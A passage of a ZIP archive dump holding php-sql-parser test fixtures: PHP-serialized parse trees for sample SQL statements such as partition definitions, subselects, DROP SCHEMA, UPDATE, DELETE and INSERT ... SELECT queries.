'/disk3/idx'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"INDEX";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:12:"'/disk3/idx'";}}}}}}}}}i:2;a:3:{s:9:"expr_type";s:13:"partition-def";s:9:"base_expr";s:470:"PARTITION p2 VALUES LESS THAN MAXVALUE 
                INDEX DIRECTORY '/foo/bar'
                MIN_ROWS =10
                MAX_ROWS  100
                (
                    SUBPARTITION s4
                        DATA DIRECTORY = '/disk4/data'
                        INDEX DIRECTORY = '/disk4/idx',
                    SUBPARTITION s5
                        DATA DIRECTORY = '/disk5/data'
                        INDEX DIRECTORY = '/disk5/idx'
                )";s:8:"sub_tree";a:7:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"PARTITION";s:4:"name";s:2:"p2";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"p2";}i:2;a:3:{s:9:"expr_type";s:16:"partition-values";s:9:"base_expr";s:25:"VALUES LESS THAN MAXVALUE";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"VALUES";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"LESS";}i:2;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"THAN";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:8:"MAXVALUE";}}}i:3;a:3:{s:9:"expr_type";s:19:"partition-index-dir";s:9:"base_expr";s:26:"INDEX DIRECTORY '/foo/bar'";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"INDEX";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:10:"'/foo/bar'";}}}i:4;a:3:{s:9:"expr_type";s:18:"partition-min-rows";s:9:"base_expr";s:12:"MIN_ROWS =10";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:8:"MIN_ROWS";}i:1;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:2;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"10";}}}i:5;a:3:{s:9:"expr_type";s:18:"partition-max-rows";s:9:"base_expr";s:13:"MAX_ROWS  100";s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:8:"MAX_ROWS";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"100";}}}i:6;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:312:"(
                    SUBPARTITION s4
                        DATA DIRECTORY = '/disk4/data'
                        INDEX DIRECTORY = '/disk4/idx',
                    SUBPARTITION s5
                        DATA DIRECTORY = '/disk5/data'
                        INDEX DIRECTORY = '/disk5/idx'
                )";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:17:"sub-partition-def";s:9:"base_expr";s:125:"SUBPARTITION s4
                        DATA DIRECTORY = '/disk4/data'
                        INDEX DIRECTORY = '/disk4/idx'";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:12:"SUBPARTITION";s:4:"name";s:2:"s4";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"s4";}i:2;a:3:{s:9:"expr_type";s:22:"sub-partition-data-dir";s:9:"base_expr";s:30:"DATA DIRECTORY = '/disk4/data'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"DATA";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:13:"'/disk4/data'";}}}i:3;a:3:{s:9:"expr_type";s:23:"sub-partition-index-dir";s:9:"base_expr";s:30:"INDEX DIRECTORY = '/disk4/idx'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"INDEX";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:12:"'/disk4/idx'";}}}}}i:1;a:3:{s:9:"expr_type";s:17:"sub-partition-def";s:9:"base_expr";s:125:"SUBPARTITION s5
                        DATA DIRECTORY = '/disk5/data'
                        INDEX DIRECTORY = '/disk5/idx'";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:12:"SUBPARTITION";s:4:"name";s:2:"s5";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"s5";}i:2;a:3:{s:9:"expr_type";s:22:"sub-partition-data-dir";s:9:"base_expr";s:30:"DATA DIRECTORY = '/disk5/data'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"DATA";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:13:"'/disk5/data'";}}}i:3;a:3:{s:9:"expr_type";s:23:"sub-partition-index-dir";s:9:"base_expr";s:30:"INDEX DIRECTORY = '/disk5/idx'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"INDEX";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:12:"'/disk5/idx'";}}}}}}}}}}}}}}PK     \8|    K  vendor/greenlion/php-sql-parser/tests/expected/parser/subselect2.serializednu [        a:4:{s:6:"SELECT";a:2:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:5:"a.uid";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:3:"uid";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:1;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:12:"a.users_name";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:10:"users_name";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:2:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"USERS";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"USERS";}}s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:1:"a";s:9:"base_expr";s:4:"AS a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:10:"USERS AS a";s:8:"sub_tree";b:0;}i:1;a:8:{s:9:"expr_type";s:8:"subquery";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:1:"b";s:9:"base_expr";s:4:"AS b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}}s:5:"hints";b:0;s:9:"join_type";s:4:"LEFT";s:8:"ref_type";s:2:"ON";s:10:"ref_clause";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"a.uid";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:3:"uid";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"b.id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"b";i:1;s:2:"id";}}s:8:"sub_tree";b:0;}}s:9:"base_expr";s:51:"SELECT uid AS id FROM USER_IN_GROUPS WHERE ugid = 1";s:8:"sub_tree";a:3:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:2:"id";s:9:"base_expr";s:5:"AS id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}}s:9:"base_expr";s:3:"uid";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"uid";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:14:"USER_IN_GROUPS";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:14:"USER_IN_GROUPS";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:14:"USER_IN_GROUPS";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"ugid";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"ugid";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;}}}}}s:5:"WHERE";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"IS";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"NULL";s:8:"sub_tree";b:0;}}s:5:"ORDER";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:12:"a.users_name";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:10:"users_name";}}s:8:"sub_tree";b:0;s:9:"direction";s:3:"ASC";}}}PK     \	")
  
  I  vendor/greenlion/php-sql-parser/tests/expected/parser/comment7.serializednu [        a:2:{s:6:"INSERT";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"INTO";}i:1;a:5:{s:9:"expr_type";s:5:"table";s:5:"table";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:5:"alias";b:0;s:9:"base_expr";s:1:"a";}i:2;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:4:"(id)";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}}}}i:3;a:2:{s:9:"expr_type";s:7:"comment";s:5:"value";s:35:"-- inline comment in INSERT section";}}s:6:"VALUES";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"record";s:9:"base_expr";s:3:"(1)";s:4:"data";a:1:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}}PK     \A|    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue74d.serializednu [        a:1:{s:4:"DROP";a:4:{s:9:"expr_type";s:6:"schema";s:6:"option";b:0;s:9:"if-exists";b:1;s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"SCHEMA";s:8:"position";i:5;}i:1;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:2:"IF";s:8:"position";i:12;}i:2;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"EXISTS";s:8:"position";i:15;}i:3;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:4:"blah";s:8:"sub_tree";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"schema";s:9:"base_expr";s:4:"blah";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"blah";}}s:5:"delim";b:0;s:8:"position";i:22;}}s:8:"position";i:22;}}}}PK     \6;R    H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue65.serializednu [        a:3:{s:6:"SELECT";a:2:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:2:"i1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"i1";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:1;a:5:{s:9:"expr_type";s:18:"aggregate_function";s:5:"alias";a:4:{s:2:"as";b:0;s:4:"name";s:3:"cnt";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"cnt";}}s:9:"base_expr";s:3:"cnt";}s:9:"base_expr";s:5:"count";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:7:"test.s1";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:4:"test";i:1;s:2:"s1";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:7:"test.s1";s:8:"sub_tree";b:0;}}s:5:"GROUP";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"i1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"i1";}}s:8:"sub_tree";b:0;}}}PK     \o4  4  H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue72.serializednu [        a:2:{s:6:"UPDATE";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"table";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"table";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:5:"table";s:8:"sub_tree";b:0;}}s:3:"SET";a:1:{i:0;a:3:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:8:"col=@max";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:3:"col";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"col";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:4:{s:9:"expr_type";s:13:"user_variable";s:9:"base_expr";s:4:"@max";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"max";}}s:8:"sub_tree";b:0;}}}}}PK     \$p    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue277.serializednu [        a:3:{s:6:"DELETE";a:2:{s:7:"options";b:0;s:6:"tables";b:0;}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:8:"wp_posts";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"wp_posts";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:8:"wp_posts";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"123";s:8:"sub_tree";b:0;}}}PK     \    H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue15.serializednu [        a:4:{s:6:"SELECT";a:5:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:6:"usr_id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"usr_id";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:1;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:9:"usr_login";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"usr_login";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:2;a:5:{s:9:"expr_type";s:10:"expression";s:5:"alias";a:4:{s:2:"as";b:0;s:4:"name";s:11:"tipousuario";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:11:"tipousuario";}}s:9:"base_expr";s:11:"tipousuario";}s:9:"base_expr";s:191:"case id_tipousuario when 1 then 'Usuario CVE' when 2 then concat('Usuario Vendedor -', codigovendedor, '-') when 3 then concat('Usuario Vendedor Meson (', codigovendedor, ')') end tipousuario";s:8:"sub_tree";a:15:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"case";s:8:"sub_tree";b:0;}i:1;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:14:"id_tipousuario";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:14:"id_tipousuario";}}s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"when";s:8:"sub_tree";b:0;}i:3;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;}i:4;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"then";s:8:"sub_tree";b:0;}i:5;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:13:"'Usuario CVE'";s:8:"sub_tree";b:0;}i:6;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"when";s:8:"sub_tree";b:0;}i:7;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"2";s:8:"sub_tree";b:0;}i:8;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"then";s:8:"sub_tree";b:0;}i:9;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:6:"concat";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:20:"'Usuario Vendedor -'";s:8:"sub_tree";b:0;}i:1;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:14:"codigovendedor";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:14:"codigovendedor";}}s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'-'";s:8:"sub_tree";b:0;}}}i:10;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"when";s:8:"sub_tree";b:0;}i:11;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"3";s:8:"sub_tree";b:0;}i:12;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"then";s:8:"sub_tree";b:0;}i:13;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:6:"concat";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:26:"'Usuario Vendedor Meson ('";s:8:"sub_tree";b:0;}i:1;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:14:"codigovendedor";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:14:"codigovendedor";}}s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"')'";s:8:"sub_tree";b:0;}}}i:14;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:3:"end";s:8:"sub_tree";b:0;}}s:5:"delim";s:1:",";}i:3;a:5:{s:9:"expr_type";s:8:"function";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:7:"nom_com";s:9:"base_expr";s:10:"as nom_com";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"nom_com";}}}s:9:"base_expr";s:6:"CONCAT";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:11:"usr_nombres";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:11:"usr_nombres";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"' '";s:8:"sub_tree";b:0;}i:2;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:13:"usr_apellidos";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:13:"usr_apellidos";}}s:8:"sub_tree";b:0;}}s:5:"delim";s:1:",";}i:4;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:9:"cod_local";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"cod_local";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:8:"usuarios";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"usuarios";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:8:"usuarios";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:10:"usr_estado";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:10:"usr_estado";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"<>";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"2";s:8:"sub_tree";b:0;}}s:5:"ORDER";a:3:{i:0;a:3:{s:9:"expr_type";s:3:"pos";s:9:"base_expr";s:1:"3";s:9:"direction";s:3:"ASC";}i:1;a:3:{s:9:"expr_type";s:3:"pos";s:9:"base_expr";s:1:"1";s:9:"direction";s:3:"ASC";}i:2;a:3:{s:9:"expr_type";s:3:"pos";s:9:"base_expr";s:1:"4";s:9:"direction";s:3:"ASC";}}}PK     \Qi3  3  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue84b.serializednu [        a:1:{s:6:"INSERT";a:3:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"INTO";s:8:"position";i:7;}i:1;a:6:{s:9:"expr_type";s:5:"table";s:5:"table";s:12:"newTablename";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:12:"newTablename";}}s:5:"alias";b:0;s:9:"base_expr";s:12:"newTablename";s:8:"position";i:12;}i:2;a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:68:"(SELECT field1, field2, field3 FROM oldTablename where field1 > 100)";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:5:"query";s:9:"base_expr";s:66:"SELECT field1, field2, field3 FROM oldTablename where field1 > 100";s:8:"sub_tree";a:3:{s:6:"SELECT";a:3:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:6:"field1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"field1";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:33;}i:1;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:6:"field2";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"field2";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:41;}i:2;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:6:"field3";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"field3";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:49;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:12:"oldTablename";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:12:"oldTablename";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:12:"oldTablename";s:8:"sub_tree";b:0;s:8:"position";i:61;}}s:5:"WHERE";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"field1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"field1";}}s:8:"sub_tree";b:0;s:8:"position";i:80;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:">";s:8:"sub_tree";b:0;s:8:"position";i:87;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"100";s:8:"sub_tree";b:0;s:8:"position";i:89;}}}s:8:"position";i:26;}}s:8:"position";i:25;}}}PK     \Tz  z  K  vendor/greenlion/php-sql-parser/tests/expected/parser/variables1.serializednu [        a:1:{s:6:"SELECT";a:4:{i:0;a:6:{s:9:"expr_type";s:13:"user_variable";s:5:"alias";b:0;s:9:"base_expr";s:3:"@t1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"t1";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:1;a:6:{s:9:"expr_type";s:13:"user_variable";s:5:"alias";b:0;s:9:"base_expr";s:5:"@`t2`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"t2";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:2;a:6:{s:9:"expr_type";s:13:"user_variable";s:5:"alias";b:0;s:9:"base_expr";s:3:"@t3";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"t3";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:3;a:5:{s:9:"expr_type";s:10:"expression";s:5:"alias";b:0;s:9:"base_expr";s:20:"@t4 := @t1+@'t2'+@t3";s:8:"sub_tree";a:7:{i:0;a:4:{s:9:"expr_type";s:13:"user_variable";s:9:"base_expr";s:3:"@t4";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"t4";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:":=";s:8:"sub_tree";b:0;}i:2;a:4:{s:9:"expr_type";s:13:"user_variable";s:9:"base_expr";s:3:"@t1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"t1";}}s:8:"sub_tree";b:0;}i:3;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"+";s:8:"sub_tree";b:0;}i:4;a:4:{s:9:"expr_type";s:13:"user_variable";s:9:"base_expr";s:5:"@'t2'";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"t2";}}s:8:"sub_tree";b:0;}i:5;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"+";s:8:"sub_tree";b: